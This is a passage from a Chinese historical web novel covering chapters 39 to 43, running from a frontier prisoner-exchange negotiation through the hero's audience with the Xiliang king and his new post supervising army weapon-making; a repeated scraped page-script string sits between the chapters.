\"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第三十九回 换来一处太平天 从望山府来的乃是太守周公旺。 原来杨笑抓了贡喀部落少族长这件事,不论是对西梁境还是对藩族贡喀部落来说都实属事关重大,不过双方关注这件重大事件的角度不尽相同。西梁关注的是如何把这位少族长的作用发挥到最大,怎样才能榨干他的每一滴价值。而贡喀部落关注的自然就是怎样才能在确保少族长安全的前提下尽快把人换回来,并且能够少付出一些代价。 望山府得到消息后立刻上报到了西梁王府,西梁王府划下了谈判的底线,并指派了太守周公旺负责谈判事项。 浓眉大眼的周公旺是一个土生土长的西梁境人,生的一张国字脸,稍有些偏胖,不过他的个头不小所以也显不出来有多肥胖,倒是显的十分的壮实。 早年间,周公旺曾在圣京城内的稷下学宫求学。稷下学宫是大周王朝最为知名的学府,学宫传承千年之久,乃是名符其实的源远流长。不仅许多历朝历代知名的名流学士、宰辅栋梁出自学宫,就连历代儒家圣人也有不少曾在稷下学宫求学。 周公旺在稷下学宫求学时虽然谈不上有什么名气,但口舌诡辩之才还是不错的,再加上又是近水楼台,所以由他来负责跟藩族人的谈判也是再合适不过了。 双方约定了今天在营地中谈判。 两方隔着一张临时拼凑起来的大桌子相对而坐,互相交换了各自的条件。 藩族使者看了西梁列出的条件后黑着脸质问道:“贵方这是什么意思?难道不打算释放我家少族长不成?” 周公旺故作不解道:“贵使何出此言呢?” “那为何所列名单上只有这些下贱的平民奴隶,对我家少族长还有彩珠公主只字不提?”藩族使者强忍着怒气拍着那份清单质问道。 周公旺不急不火道:“谈判嘛,自然是要一项一项的慢慢谈啦,哪有这一项没谈明白就直接进入到下一个项目的。” 藩族使者一把将清单丢在桌子上大叫道:“把我贡喀部落尊贵的少族长和彩珠公主排在这些贱民的后面,简直就是对我家少族长和公主莫大的侮辱!” 周公旺心想:“你想的美啊!侮辱你又怎么样?我怎么可能上来就把最大的低牌亮出来!?”只见他把面前那份藩族开出的清单往外一推慢条斯理的开口道:“可在我看来却是众生平等。” 不知道的还以为来的是某位高僧大德呢。 藩族使者气的把双手一扬:“我才不管什么众生平等,我是来谈少族长和彩珠公主的事情的。” ……。 双方互不相让,一个非要直接谈少族长,一个就是要从这些平民说起,光是因为一个谈判顺序就互相扯了半天皮。最后周公旺来了一句:“别忘了现在是你们家少族长还还有他的未婚妻在我们的手里,你要是不想谈我可就走了?” 只这一句话就让藩族使者闭上了嘴。这还不算,好不容易就要开始谈正式的话题了,谁知道周公旺扭头往外看了看天色说道:“天也不早了,咱们还是吃完饭再谈吧?” 把藩族使者那个气呀!这个时候他又怎么能吃的下饭。 终于双方开始正式谈判了。西梁军俘虏的藩族士兵,平民和杂役,也就是藩族使者口中的奴隶加起来一共二百多人,而这些年来藩族也抓了不少的大周子民。周公旺要求以人换人。一个杂役换一个周人,一个平民换两个周人,一名士兵换三个周人。至于木都和他的未婚妻彩珠还有另外几个有点身份的人就要另算了。 藩族使者听到一下子就要换走好几百人,直接摇头道:“不可能,这个条件跟本就不公平,再说我贡喀部落恐怕没有那么多周人。” 周公旺道:“没人你就到别的部落去弄人,实在不行了也可以折成钱。” 藩族使者问:“折多少钱?” 周公旺伸出一根手指头:“一个人一百两。” 藩族使者一听说要一百两换一个人立刻瞪大了双眼:“你怎么不去抢?” 周公旺把双手一摊说道:“在下一介书生能怎么可能去干抢这种事儿呢?” 藩族使者气急败坏:“你现在跟抢有什么分别?” 周公旺笑眯眯的道:“你可以还价呀!我又没有不让你还价。” 藩族使者面色一滞:“我还价你就能答应?” 周公旺哈哈大笑:“你都没还价让我怎么答应?” 藩族使者把五指张开往前一推开口说道:“五文!” 并不是藩族使者存心拿周公旺开涮,而是在藩族人的眼里,一个周人奴隶能给这个价钱已经不少了。 这一回轮到周公旺面上一滞了。他心里骂道:“你奶奶的,有你这么还价的吗?”他实在是懒得在这些细枝末节上跟藩族使者扯皮了。他向前侧了侧身冷着脸直接摊牌道:“你别说五文钱,就是五十两我都不会答应你的,实话告诉你,我王的旨意是:要人不要钱!”尤其是那最后五个字说的是一字一顿,字字千斤! 其实不要说几百个人,这些年被藩族虏走的周朝子民又何此数千,之所以非得要人是因为西梁王无法容忍大周子民被他族奴役。 你贡喀部落的人不够了就去其他部落给我换人! 扯来扯去双方都很充分的表达了自己的意见,各自回去向上汇报。 不久后山上再次降下了一场大雪,不过这一次大家完全不用担心吃饭的问题。这场大雪过后这片绵延不绝的大山不知道又要被封上多少天,大雪封山后就只能待在营地里,时间长了难免有些让人心生烦闷。 整个冬天里双方又经历了几轮谈判,到了第二年的春天最终确定了谈判的结果。 贡喀部落同意交出部落能够找到的所有周人;付给西梁金银各一万两;牛、马、羊各五千只;各色皮毛共五千条;布料一千匹;并且承诺大族长在位期间决不会对西梁有秋毫之犯,以此换取少族长及彩珠公主等人。西梁方面对贡喀部落提出的条件表示满意,只是要委屈木都少族长和彩珠公主在西梁城里多住几年了。 自此之后,这一处纵横数百里的边境上再也没有见到过藩兵的身影。 边境上的冬天总是那么的漫长,不过再漫长的冬天也会有冬去春来的那一天。这一天杨笑正带队踩着山路上的残雪在哨卡间巡逻,隐约间听到身后好像有人在叫自己,于是杨笑停下脚步向身后张望。只见远远的从山上跑下来一个人,那人边跑边喊:“杨伍长,杨伍长……。” 究竟又有什么事情在等待着杨笑呢?欲知后事如何,且听下回分解。 window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第四十回 世间最亲的人 上回说到杨笑在巡逻期间隐约间听到有人在叫自己,回头张望时只见一个人从山上跑了下来。待此人来到跟前后对杨笑行了一礼道:“望山府来人,点名要见杨伍长,还请伍长快些返回营地。”杨笑闻言交待手下士兵继续巡逻,便与来人一同回去了。 杨笑刚进营门就见百夫长一溜小跑着迎了出来:“兄弟,兄弟,喜事儿,大喜事儿啊!” 杨笑微笑道:“看百夫长这高兴样,不知道是什么喜事儿?” “是王府下的嘉奖令。”百夫长长拍着杨笑的肩膀高兴道。杨笑有点没反应过来。百夫长又补充道:“给你的!” 杨笑“噢”了一声。百夫长又嘿嘿的笑着道:“当然啦,哥哥我也跟着沾了点光。”那表情真是在他身上少见的腼腆样子。 杨笑这才了然道:“我说呢,给我的嘉奖怎么把百夫长你给高兴成这样。” 百夫长有些不好意思的搔了搔后脑勺,那平时猥琐卑鄙的性子也不知道哪里去了。 杨笑进入大厅内,见一个白面无须之人穿着一身锦绣衣袍站在屋内。原来是宫中宦官。 此人见百夫长领着一个人进来便问道:“可是东仓县杨笑?”声音阴柔似女子。 杨笑拱手弯腰道:“正是杨笑。” 那宦官听到杨笑回答后自袖中取出一个卷轴来唱一声:“杨笑听令。” 杨笑并百夫长以及屋内众人齐齐跪下:“吾等听令。” 那宦官高声宣读道:“今有东仓县杨笑,作战勇猛,连战连捷,不仅智退藩军,救得一营袍泽,更一举拿下藩军军寨一处,擒获藩族亲贵多名,立下奇功,实乃不可多得之才。特升百夫长一职,赏银两千两,各色布匹绸缎一百匹,骏马两匹。同营百夫长孙坚亦有功劳,升任校尉一职。其余同营军卒皆论功行赏。” 宦官宣读完旨意,众人皆叩谢王恩。 那宦官上前将卷轴交于杨笑手中笑着道:“恭喜杨百夫长。” 杨笑客气一句。 那宦官又道:“王爷有意提携于你,百夫长一职只是暂时,相信用不了多长时间便会另有升迁。并且要奴才带百夫长前去王府,王爷很想见一见您这位青年才俊。” 杨笑拱手称谢:“王爷言重了,杨笑愧不敢当。” 那宦官说道:“哎!王爷说当得那便当得。杨百夫长快些收拾一下随我走吧。” 杨笑道:“公公说的有理,杨笑这便去收拾行装。” 百夫长孙坚,此时应该称作孙校尉,上前一步挽留道:“天色将晚,山路难行,公公不如歇息一晚,待我等设宴款待,明日再送公公下山不迟。” 那宦官道:“咱家也想歇歇脚呀!可大雪封山,咱家在望山府已经等了快一个月了,不能再等了。” 很快,杨笑收拾完毕。带了两个乔装后的婢女与那宦官一同下山去了。 杨笑等人一路风雨兼程,日出而行,日落才息。这日杨笑趁着中午吃饭的间歇向那宦官告假道:“公公,此地离杨笑的家已是不远,杨笑离家已有多日,想要在下一个路口先回家看看。 宦官道:“杨百夫长客气了,思念亲人乃人之常情,百夫长但去无妨,只是记得不要误了行程,免得让王爷等候。” “公公放心,杨笑一路快马加鞭,只消数日便可赶上公公。” 花开两朵各表一枝。却说自从杨笑离家以后,杨落儿在家将山庄经营得风生水起。平日里忙碌些,还好,一闲下来时便难免有些思念弟弟。总惦记着弟弟在边关过得怎么样,有没有遇到什么危险。得空时就往杨豹那里跑,向堂叔打听边境上的消息。杨豹磨不过她只得拿一些不是要紧的军中抵报给她看。 杨落儿看那抵报上写着今日哪里哪里又与异族冲突了,明日哪里哪里又有伤亡了,心里就更惦记杨笑了。有一次看到望山府一处大营遭袭死伤惨重,就更是夜不能寐了。向杨豹打听杨笑的去处,杨豹以此乃军中秘事为由回绝了她。 后来又过了一段时间传来望山府大捷的消息,俘获藩族公主、世子等人,首功者东仓县杨笑。杨落儿高兴之余,又不免担心弟弟的安危。 日盼夜盼,人没有盼回来,封赏倒先来了。这一天杨豹领了一队人马来到山庄,进门便向庄内的仆人喊道:“快去请你家小姐,就说你家少爷在军中立下了大功,王爷亲自赐下封赏。” 杨落儿此时正在矿场内查看,听到来人回报连忙乘上马车往回赶。 王府来人宣读完封赏旨意。杨落儿谢恩后忙问:“敢问公公可知我家兄弟安危?” 此等军中事务岂是一个王府小吏能够知晓的?来人便回道:“这却不知。想来杨公子吉人自有天相,应该是平安无事。” 谁知道越是这般安慰,杨落儿越是心中不安。在她想来,这场能够俘获藩族世子、公主的战事定然是一场万分凶险残酷的恶战。杨笑即是首功,可为何没人知道他的安危?一定是有什么事情在瞒着自己。杨落儿越想心里面越是害怕,没人的时候便要忍不住伤心落泪起来。 这天傍晚杨落儿又像往常一样站在山庄的大门外,向着远处的道路张望。自从杨笑离家后,杨落儿每天黄昏时都要在这里站上好一会儿,以盼望能够早些等到杨笑的消息。 杨落儿像往常一样在门前站了好一阵子,眼见日落西山夜幕即将降临,心里不免再次失望。 “看来今天也不会有什么消息了。” 杨落儿轻叹一声,转过身正要离去,忽然隐隐听到有一阵急促的马蹄声传来。初开始杨落儿以为自己听错了,于是停下脚步仔细听了听,可那马蹄声分明越发的清晰了,杨落儿连忙转过头向远处望去。 只见天边一轮圆圆的红日正好落在道路的尽头。在那道路的尽头,红日之中,正有一个身影飞驰而来。 轻骑和日落,越鸟近乡飞。一路春风里,杨花雪满衣。 杨落儿心生感应,迈开脚步奔跑着迎了上去。 来人不是别人,正是返回家乡的杨笑。 岭外音书断,经冬复历春。近乡情更怯,不敢问来人。 只见杨笑不等马停下来便翻身落马奔到姐姐身前,杨笑单膝跪地把着杨落儿的双臂说道:“姐姐,笑儿回来了。” 杨落儿将杨笑的脸捧在手中激动道:“回来就好!回来就好!黑了,也壮了。”说着把杨笑的脑袋揽住久久不肯释怀。 欲知后事如何,且听下回分解。 window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第四十一回 西梁王府 虽说杨笑离开家只有不到两年的时间,但对于杨落儿来说这期间渡过的每一天都像是一年般的漫长而煎熬。生怕这唯一的亲人再突然离她而去。 姐弟二人好长一段时间不见,自然是有说不尽的话儿,就连小黑也高兴的在杨笑身边翻着滚儿,不住的用脑袋在杨笑身上蹭来蹭去。姐弟二人促膝长谈。杨落儿拉着家常话向杨笑诉说着他离家后家里发生的事情,杨笑向姐姐说一些边境上有趣的见闻,引得杨落儿发出一阵阵银铃般的笑声。这其间自是只报喜不报忧。 第二天杨落儿领着杨笑看了赏赐给他的东西,杨笑只是简单的看了一眼,对这些东西并不在意。 杨笑把带回来的两个婢女交给姐姐,杨落儿一见是藩族女子登时脸色转冷,问道:“这是怎么回事?” 杨笑见姐姐不高兴连忙解释道:“姐姐莫要生气,这是我在边境上所得的战利品,特意带回来供姐姐使唤的。” 杨落儿听完杨笑的解释脸色才好看了一些,她略松了口气道:“我还以为你被这两个藩族的狐媚子给迷住了心窍。既然是你战场所得,就让她们留下来干点儿粗活吧。” 在她心中只有弟弟的安危,至于家中的遭遇必经都过去了,杨笑才是她心里最重要的那个人。 杨笑挠了挠头:“姐姐想哪里去了?” 第二天杨笑就要前往王府了。杨落儿不舍道:“才回来就又要走,也不能在家里多住几天。” 杨笑宽慰道:“王命在身,也是身不由己。” 杨落儿心里虽有不舍却也是没奈何,只得远远地送杨笑离开。 数日后,杨笑赶上队伍一路前往西梁城自不必表。 这一天杨笑在一名王府侍女的带领下进入了王府之中。 到了王府,杨笑才知道西梁王府并不像自己想像中的那样到处雕梁画栋,富丽堂皇。 这西梁王府到底是如何一幅模样呢?但见:宽阔的白玉台阶铺就下来,台阶下是一处广场,广场的两侧和正对宫门的是西梁城中最主要的街道。台阶上是高耸的宫门,宫门样式古朴,虽然只是简单的红墙黛瓦,却在无形之中给人一种山岳当面之感,自有一股威严气势蕴含其中。 高高的门楼上悬挂有三块匾额,最上面一块乃是周王朝开国帝王亲笔题写的“国之户枢”四个金色大字。字迹刚劲有力,大开大合,气势恢宏。只从这字迹当中也可一窥题字之人的胸襟与气度。 当中一块匾额上写着“西梁首枢”。四个字给人一种洒脱不拘之感。为首任西梁王题写。 最下面一块匾额上书“西梁王府”。乍一看这四个字中规中矩,但细品之下就会觉出一股桀骜之气来,落款乃是现任西梁王:武昭。 进入王府,首先映入眼帘的是一处如广场般的大院子,正前方是一座大殿,上有“政务殿”三个大字。两侧长长的回廊将院子围在中间。 从大殿一旁的小门穿过后又是一处开阔如广场的大院,正中也是一座高大殿宇,比起前面一个院子所见的大殿更胜三分。院子的两侧分别有一排偏殿,偏殿内不时有人员进出。 那名婢女又领着杨笑从广场角落的一处小门穿过,来到一个布置简陋却不失典雅的小院中。院内只有一间屋子,院子的中间有石桌石墩。院子的旁边还有一处小门,透过小门可见树木成荫,隐隐间有小桥和假山在其中,也不知道是怎样一个处所。 那名婢女止住脚步回身告知杨笑:“王爷正在处理公务,你可在此地等候。”杨笑告谢一声,那婢女径自去了,杨笑便站在院中等候。 正百无聊赖间,忽然听到一侧墙头上有响声传来,杨笑侧目看去时见是一只皮球穿过院墙外树木的枝叶,越过墙头向自己飞来。杨笑坐在原地,只一伸手就把那只皮球稳稳的接在了手里。这时从一旁的小门里跑进来一名童子,约么七八岁的样子。这童子见杨笑方才接球的手法“哇!”的赞叹出声。童子跑到杨笑跟前向杨笑投来仰慕的眼神:“你刚才是怎么把球接住的?好厉害的样子!” 杨笑看看手里的皮球又看看那童子,问道:“你是说像这样吗?”说着把手中的球向空中高高抛起,又用一只手稳稳地接住了。那童子高兴地跳着拍手道:“就是这样!就是这样!” 在西梁王处理军政要务的地方突然出现一个孩童,杨笑也觉得奇怪,就问道:“你是谁家小孩儿,怎么会在这里?” 杨笑说着就要把球递给那童子,却听一声厉喝:“大胆!见到世子殿下还不行礼!”这时从门外跑进来几个王府中的奴仆与婢女。 原来这童子竟是西梁王之子武嬴。 西梁王膝下有数名子女,这五嬴乃是最小的一个,深得西梁王宠爱,早早便立了世子之位。 其实武嬴并不是西梁王正妃所生。西梁王与王妃夫妻恩爱,无奈早年间因为王妃在校场观看王爷骑射,谁知西梁王坐骑无故受惊撞倒了王妃,导致王妃流产。自此之后,便再也没能怀上一儿半女,多方医治也是无效。夫妻二人心中都觉得愧疚对方,因此西梁王虽与几个侧妃有众多子嗣,却迟迟不肯立下世子。于是王妃便做主,将自己的一个表妹迎进王府做了侧妃,一年后,这位侧妃诞下一子,过继到了王妃身边,被立了世子之位,便是眼前这个童子了。 杨笑闻言忙向那童子见礼。童子摆手道:“不用这么麻烦,你快告诉我,你刚才是怎么做到的,他们几个都笨死了,连个球都接不住。” 杨笑抛了抛手里的皮球:“这个吗……等世子殿下您长大后自然就能做到了。”说着把球还给了那童子。 童子接过球跑开了。 过了没一会儿,那童子又跑了进来,来到杨笑身边二话不说拉着他就走:“你快来,你快来。”杨笑去也不是不去也不是,一时间不知如何是好,却又不敢不从,只得被童子拉着走出了院子。 原来是那个皮球被童子踢到了池塘里。杨笑见状从地上捡起一颗石子,一甩手正中那个皮球,皮球在水里翻滚着划出一道波纹漂到了对岸。早有一个奴仆跑过去把球捞了起来。 那童子像是见了什么神奇的事物般,惊叫道:“哇!你可真是厉害!往常他们都要划着船费老半天劲才能把球捞回来。你快教教我,你快教教我。” 杨笑无奈道:“这可不是一天两天能学会的。” 正在杨笑被童子纠缠的时候,从另一边远远的走来一位妇人。这妇人看上去约么四十上下的年纪,容貌端庄秀丽,朴素的衣着中却透出一股让人不容置疑的贵气来。那妇人的前后跟了许多侍卫和婢女,那些侍卫一个个身着金甲,精壮无比;那些婢女们一个个也是俊俏人儿。婢女手中或持团扇或拿拂尘或捧着几本书籍或是端了器皿,里面放着茶水和几样不知名的点心。 window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第四十二回 西梁王 上回说到杨笑正被小世子纠缠时走来一位妇人。不等那妇人走近,便有开路侍卫高声道:“王妃驾到,闲杂人等避退!” 杨笑知道这妇人的身份定不一般,没想到竟是西梁王妃。杨笑忙退在一旁向王妃见礼:“卑职杨笑,见过王妃娘娘。” 王妃拉住了童子的手转身向杨笑问道:“你就是那个擒住了藩族世子和公主的杨笑?” 杨笑回道:“正是卑职。” “站起来,让我瞧瞧。” 杨笑答声“是”后站起身来,仰首挺胸。 只见杨笑一身甲胄折乌光,身形巍峨如山岗,腰挎长刀,脚蹬皂靴,眉若长剑,眸似星灿,肤如麦色更显英武阳刚,掌似蒲扇透出无穷巨力。 其实杨笑的容貌也算得上是上等之资,再加上这一身盔甲,无形之中透出的气质将杨笑衬托的更加英武不凡。 王妃见杨笑这等模样不由的在心里赞道:“好一个俊朗不凡的后生!”便问道:“你家里还有谁?” 杨笑俯首抱拳回道:“无父无母,只有一个姐姐相依为命。” 王妃慊意道:“原来也是一个苦命的孩子,是我的不是了。” 杨笑见王妃向自己微微欠身忙把身子又低了低说道:“是卑职的不是。卑职万不敢当。” 这时一旁的童子开口道:“这位大哥哥可厉害了,刚才他就这样把手一招一甩,那皮球就乖乖的听他的话了。”小世子手舞足蹈的比划着。 王妃向身边的童子露出一个慈祥的微笑:“能把藩族的世子和公主生擒活捉来的人自然十分厉害。好了,你父王还要召见这位大哥哥呢,你就不要再缠着他了。”说着拉起童子的手转身离去了。 杨笑躬身相送。 送走了西梁王妃后,杨笑沿原路返回小院中。等杨笑回到小院时,正好看到一个宦官从院子另一边的一个小门里走了出来。那宦官看到杨笑后开口问道:“可是东仓县杨笑?” 杨笑抱拳回道:“正是。” “王爷召见,跟我走吧。” “公公请前头带路。” 那宦官将杨笑领到一座大殿门外小声的叮嘱他在此等候,然后说道:“王爷许你佩刀上殿乃是莫大的荣幸,你待会儿上殿后一定要小心言行。”杨笑答应一声,那宦官就此就离去了。 过了没多长时间从殿内传来一声高唱:“宣~杨笑进殿!”杨笑听到殿内传唤忙正了正身上的盔甲,迈步进入大殿之中。进得殿内,见大殿两侧站了许多人,一侧都是身着盔甲的武将,另一侧皆为身穿朝服的文官。 杨笑上前几步走到殿中,单膝跪地朗声道:“卑职杨笑拜见吾王!”三呼千岁。 高坐上位的西梁王轻抬一手,用十分磁性的声音缓缓道:“免礼。” 杨笑谢恩起身垂首站于殿内。 西梁王开口道:“杨笑。” 杨笑躬身答道:“卑职在。” “抬起头来。” 杨笑缓缓抬头。 但见大殿上首正中,一约么四十来岁的中年男子正襟危坐于上。那男子发如墨染,面色红润,一脸中正气象不怒自威,身形修长而不显单薄,穿一身金丝白底山海滚龙袍。龙袍上用金丝绣成的金龙,头生双角,足长五趾,翻江倒海,栩栩如生。男子端坐在一张金丝乌木椅上,一股帝王之气扑面而来,却并不让人有窒息般的压迫感,反而令人如沐春风,通体和煦。当真是威风凛凛,仪表堂堂,想来年轻时定然是一个玉树临风的翩翩美公子。这便是西梁境正主:西梁王。 杨笑头一次面见西梁王难免在心里有几分紧张,再加上又被西梁王的堂堂仪容后吸引,一时间把来时一路上他人对自己的叮嘱全给忘了。这时旁边一位白须老者对他小声提醒道:“杨笑,还不低头。” 关于这一点,这里头还有一个专门的规矩。古时臣下面见君王是不许抬头看君王容貌的,若是君王允许抬头,那么下面的臣子只可以抬头轻轻的看一眼,然后就要立刻低头。否则的话,搞不好就要被问一个“意欲刺王杀驾”的罪名。 杨笑听到提醒立时反应了过来,连忙低头告罪一声。 杨笑看向西梁王的同时西梁王也在细细的打量着杨笑。 西梁王把杨笑上下打量一番后笑呵呵的说道:“无妨。我道能把藩族世子和公主擒来的是个什么三头六臂的神仙人物呢,原来是一个稚气才消的俊后生。” 西梁王的一句玩笑话引来殿内众文臣武将的一片笑声。杨笑保持着低头拱手的姿势说道:“王爷过奖,杨笑惭愧。” 西梁王笑呵呵的问道:“说一说,你是怎么把那藩族的世子与公主擒住的呢?” “听说你还救下一营袍泽,可有此事?”一名站在首位的武将接着问道。 杨笑于是从藩兵接连受挫后偷营报复说起,将事情的前前后后简略的说了一遍,引得众人哄堂大笑。 西梁王哈哈笑道:“经你这么一说,本王都觉得似乎有一股怪味儿在身边绕来绕去,哈哈……。” 众人有称赞杨笑妙计连出的;也有调笑他刮地三尺连藩族军寨里的房梁和门板都不放过的;更有说杨笑让俘虏帮忙运送物资这件事真是绝妙的。……。 西梁王问道:“你这些东西都是从哪儿学来的?” 杨笑回道:“家中姐姐常常教导,过日子要精打细算,要富日子穷过。” 西梁王笑道:“好一个精打细算,好一个富日子穷过。” 杨笑接着向西梁王说道:“说起家中姐姐,杨笑来时姐姐托我为王爷带来一份礼物。” 这时西梁王的心情正是大好,听说杨笑有礼物要送给他于是就问道:“哦,是什么样的礼物啊?” “王爷看过便知。” “好啊,那就拿上来吧。” 很快就有几个宦官双手捧着几样物品上殿来。这些东西都用红布蒙着,旁边的人群中有人玩笑道:“这孩子还知道先卖一个关子。” 杨笑闪身避到一旁:“还请王爷近前一观。” 西梁王下到殿中,杨笑一一把红布揭开了,原来是几件兵器和两身盔甲。西梁王把这些东西一一看过,那几柄刀剑一看便知锋利无比,刀身光滑如镜,锋刃寒芒闪烁。那甲胄的做工更是比军中制式还要精细结实。 西梁王望着手中的甲胄目光闪烁。稍顷西梁王的脸色渐渐的冷了下来,他缓缓道:“杨笑,你可知私制甲胄乃是重罪?” 杨笑单膝跪地抱拳俯首道:“王爷放心,这些物品全是在贡州将军府报备,东仓县军营监督之下所制,并不是什么私造军械。” 西梁王好奇道:“即便如此,你送本王这些东西是想说些什么呢?” 杨笑回道:“王爷明察。自杨笑从军以来才知晓我军中刀枪甲胄皆造价不菲,概其缘由,杨笑以为这其中约有半数成本为建造工坊供养工匠所用。家中姐姐知道后便生出一个想法,那就是由民间工匠代为军中建造军械,再由军中出钱采买,这样一来便可省去中间许多花销使成本大为下降。” 西梁王听后想了想说道:“你说的这个办法未尝不是一个好办法。这些年来,天下并不太平,朝廷四处平乱,国库财务紧张,导致我西梁也是军费拮据。本王也正在为此事发愁,可是单单私造军械乃是重罪这一条律法便难以逾越。” 杨笑又道:“家姐有言,律法写在纸上是死的,人却是活的。律法若与国势国运相悖,自当以国势国运为重,律法须为国势让路。” 西梁王称赞道:“好一个人是活的,好一个国势为重。你姐姐这一番言论当真不假,倒是我这个老头子迂腐了。” 西梁王回坐上首思量片刻,抬头道:“传本王旨意,杨笑与其姐献策有功,杨笑升督造校尉一职,其姐亦颇具才智,封五品诰命,二人为军中试制军械,以为我西梁军中武备探明道路。” 杨笑叩谢王恩。 window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第四十三回 奉旨铸剑 上一回说到杨笑献礼西梁王。原来杨笑前往边境之前从军营里领回了盔甲和长刀,姐弟俩才知道军营里的盔甲都是早年间制作的,已经十分的陈旧,甚至好些地方都需要好好修补一番才能使用,而且新的盔甲兵器可是造价不菲。 自从杨笑走后杨落儿就时常担忧这些陈旧的盔甲兵器能不能很好的保护自家兄弟。杨落儿有心为杨笑做一套新的盔甲,却又碍于大周律法中明载私造甲胄乃是一桩大罪,想自己私下里做一件是不可能的了。杨落儿思来想去,终于想到了一个办法,既然私造有罪,那我在军营里备案以后是不是就算不上私造了?杨落儿想到办法后就去说动杨虎杨豹,两人初开始不肯答应,但经不住杨落儿的软磨硬泡,再加上只是做一件就答应了下来。两个人约定好若是有谁问起来就说是在给杨虎、杨豹兄弟俩修补替换旧盔甲。 杨落儿得了应允,立刻请来工匠动手制作。既然做都做了,那干脆就根据四季衣着薄厚的不同,连胖带瘦做了三身甲胄。 等杨笑回家后,杨落儿取出崭新的盔甲给弟弟换上。崭新的盔甲和兵器穿戴起来自然是更显扬笑的英武帅气。姐弟二人一番商量后便有了杨笑向西梁王献礼的一幕。 自从杨笑得到了西梁王的旨意,回到家后杨落儿便立刻四处招揽能工巧匠大张旗鼓的干了起来。 早年间杨大夫外出时曾救得西南百族中一个小部族族长的性命,后来这位族长与杨家时有来往。这一族中有一种密法,可使打造出来的兵器更加坚韧锋利且不易生锈,姐弟二人商量一下后决定遣人去请。 那部族本就是一撮尔小族,在当地没少受大部族的欺压,靠着族中密法卖些兵器才能勉强度日,日子过的着实是不好受。一听说能得到西梁王的庇护,且又是故人之后牵线做保,部族族长当既决定举族迁徙,并派出十余人先行一步以助力姐弟二人。 很快第一批甲胄兵器便打造完成。这一天杨笑前来验看。每一种兵器都拿出几件样品来摆在一排长桌上。 杨笑先是抓起一把长刀拿在手中,在阳光的照射下光可鉴人的刀身上闪烁着一道道晶光。长刀约三尺有余,刀身略有弧度,最宽处约么一掌多宽,刀首处斜抹出一个锐利的刀尖。刀背约有两三枚铜钱厚,拿在手中沉甸甸的十分压手。这刀的样式乃是西梁军中制式长刀的样式,这种刀能砍能刺威力十足,是西梁军中装备最广泛的兵器。刀分为轻重两种,重刀势大力沉善于劈砍,轻刀则显得窄长如剑,偏向轻巧灵活的路线,与人对战时以刺削为主。 刀的旁边摆了几柄长剑。剑并不是为普通士兵配备的武器,而是供各级将领作为配剑使用,是一种身份和地位的象征,所以剑的做工就要精细许多。剑长三尺。剑柄剑鞘上雕刻着简单而不失庄重的花纹。“呛啷”一声拔剑出鞘,但见寒光闪闪中剑鸣不止,当真是一把上等的好剑。 不论是长刀还是宝剑,斩钉剁铁锋刃上都是丝毫不留痕迹,说是削铁如泥一点都不为过。 在往旁边靠着两杆长矛。矛长八尺有余,尖锐的矛头上散发着惨人的寒光。长矛的矛杆正好可以一手握持,矛杆所用的木材乃是二界山中一种特有的树种,且要用新长成的整棵小树制作而成,这样的矛杆结实而不失柔韧。 长矛的旁边摆放着一面盾牌。盾面带有一定的弧度,由几层不同的材料构成。最外面一层由数块煅打而成的薄铁板拼在一起组成,分块煅打的薄铁板即减轻了重量又降低了制作的难度。铁板的下面是两层经过特殊加工的竹板,竹板分经纬编织在一起,中间有一层富有弹性的树棕。最内层由木板制成,起着支撑及固定的作用。整个盾牌用卯钉固定在一起,做工精巧,用料考究,结实坚固又不如何沉重。由于盾牌具有一定的弹性,在抵御外力时可以极大的减轻持盾士兵受到的冲击力。而且盾牌的把手上还缠了麻布,握持时也很舒服。 盾牌的旁边是几张强弓硬弩。弓弩的外观朴素,但性能却十分优良。轻拨一下紧绷的弓弦,发出“嘣”的一声鸣响。 与弓弩配套使用的箭矢,由于是消耗品,所用木料便采用就地取材的方法,或是用制作其他兵器剩下来的边角料制成。再经过一定的加工,使其不易变形,利于储存。这样既保证了质量又节约了成本,若是在战时箭矢消耗量巨大,供应紧张时,也可省去保形这一道工序,这样一来又可使成本进一步下降。 再往旁边是几套盔甲。西梁军分为重甲步骑,轻甲步骑以及弓弩手等兵种。这些盔甲都是跟据军中老卒的使用经验,专门为不同的士兵精心设计打造而成。在保证盔甲质量的基础上既简化了工序又降低了成本,还增加了产量。 除此之外,还有另外几件并不常用的兵器。 杨笑一一查看过后,对这些兵器很是满意。他向跟在身旁的王伯问道:“像这样的兵器盔甲我们一个月能造多少?” 王伯回答:“回少爷,若是全力打造的话一个月可共百人装备齐全。” 杨笑点点头:“嗯。待明日贡州城李将军与我二位堂叔查验过后便可送往西梁城由王爷亲自查验。届时,如无意外我们就可以扩大工坊的规模增加产量了。” 